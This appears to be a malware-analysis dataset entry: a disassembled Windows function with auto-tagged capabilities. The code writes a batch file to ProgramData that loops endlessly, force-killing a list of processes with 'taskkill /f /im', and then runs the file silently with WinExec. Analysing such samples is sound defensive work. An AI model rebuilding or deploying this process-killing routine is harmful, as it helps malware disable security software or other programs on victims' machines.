Function at 0x415170
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46b9b9
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x49611c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x47d7a0
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
push str.C:ProgramData1.bat
push eax
call fcn.004573bb
add esp, 0xc
test eax, eax
jne 0x41556c
push 8
push str.:start_r_n
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
call fcn.00404950
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2c]
push dword [ebp - 0x50]
cmp dword [ebp - 0x18], 0x10
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push 1
push eax
call fcn.004571cb
add esp, 0x10
lea ecx, [ebp - 0x2c]
push 0x19
push str.ping_127.0.0.1__n_2__nul
call fcn.00404950
push dword [ebp - 0x50]
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push 1
push eax
call fcn.004571cb
add esp, 0x10
lea ecx, [ebp - 0x30]
push 4
call fcn.0040c570
mov eax, dword [0x49a6e4]
lea ecx, [ebp - 0x34]
push 4
mov dword [ebp - 0x30], eax
call fcn.0040c570
mov ecx, dword [0x49a6e8]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
cmp eax, ecx
je 0x4154d7
xor ecx, ecx
mov dword [ebp - 0x38], 7
push 0xffffffffffffffff
push ecx
mov word [ebp - 0x4c], cx
lea ecx, [ebp - 0x4c]
push eax
mov dword [ebp - 0x3c], 0
call fcn.00405e70
push 0x12
push str._taskkill__f__im
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.00404950
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x98]
call fcn.00412b90
push eax
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x80]
call fcn.00418ab0
add esp, 4
push 0x47d7f8
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x68]
call fcn.0040f020
add esp, 4
mov esi, eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 5
cmp eax, esi
je 0x415339
mov eax, dword [ebp - 0x18]
cmp eax, 0x10
jb 0x41531e
mov ecx, dword [ebp - 0x2c]
inc eax
cmp eax, 0x1000
jb 0x415315
test cl, 0x1f
je 0x4152f1
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x4152fd
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x415309
call fcn.00450abf
cmp ecx, 0x23
jbe 0x415313
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
call fcn.00404db0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x54]
cmp eax, 0x10
jb 0x415387
mov ecx, dword [ebp - 0x68]
inc eax
cmp eax, 0x1000
jb 0x41537e
test cl, 0x1f
je 0x41535a
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x415366
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x415372
call fcn.00450abf
cmp ecx, 0x23
jbe 0x41537c
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x54], 0xf
mov dword [ebp - 0x58], 0
mov byte [ebp - 0x68], 0
cmp eax, 0x10
jb 0x4153e7
mov ecx, dword [ebp - 0x80]
inc eax
cmp eax, 0x1000
jb 0x4153de
test cl, 0x1f
je 0x4153ba
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x4153c6
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x4153d2
call fcn.00450abf
cmp ecx, 0x23
jbe 0x4153dc
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x6c], 0xf
mov dword [ebp - 0x70], 0
mov byte [ebp - 0x80], 0
cmp eax, 0x10
jb 0x41544d
mov ecx, dword [ebp - 0x98]
inc eax
cmp eax, 0x1000
jb 0x415444
test cl, 0x1f
je 0x415420
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41542c
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x415438
call fcn.00450abf
cmp ecx, 0x23
jbe 0x415442
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
push dword [ebp - 0x50]
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push 1
push eax
call fcn.004571cb
mov byte [ebp - 4], 1
add esp, 0x10
mov eax, dword [ebp - 0x38]
cmp eax, 8
jb 0x4154c6
mov ecx, dword [ebp - 0x4c]
inc eax
cmp eax, 0x7fffffff
jbe 0x415485
call fcn.00450abf
add eax, eax
cmp eax, 0x1000
jb 0x4154bd
test byte [ebp - 0x4c], 0x1f
je 0x415499
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x4154a5
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x4154b1
call fcn.00450abf
cmp ecx, 0x23
jbe 0x4154bb
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
add eax, 0x18
mov dword [ebp - 0x30], eax
jmp 0x415255
push 0xc
push str._r_ngoto_start
lea ecx, [ebp - 0x2c]
call fcn.00404950
push dword [ebp - 0x50]
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push 1
push eax
call fcn.004571cb
push dword [ebp - 0x50]
call fcn.004568b2
add esp, 0x14
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.cmd__c_C:ProgramData1.bat
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x18]
cmp eax, 0x10
jb 0x41556c
mov ecx, dword [ebp - 0x2c]
inc eax
cmp eax, 0x1000
jb 0x415563
test cl, 0x1f
je 0x41553f
call fcn.00450abf
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41554b
call fcn.00450abf
sub ecx, eax
cmp ecx, 4
jae 0x415557
call fcn.00450abf
cmp ecx, 0x23
jbe 0x415561
call fcn.00450abf
mov ecx, eax
push ecx
call fcn.00448f45
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00448a58
mov esp, ebp
pop ebp
ret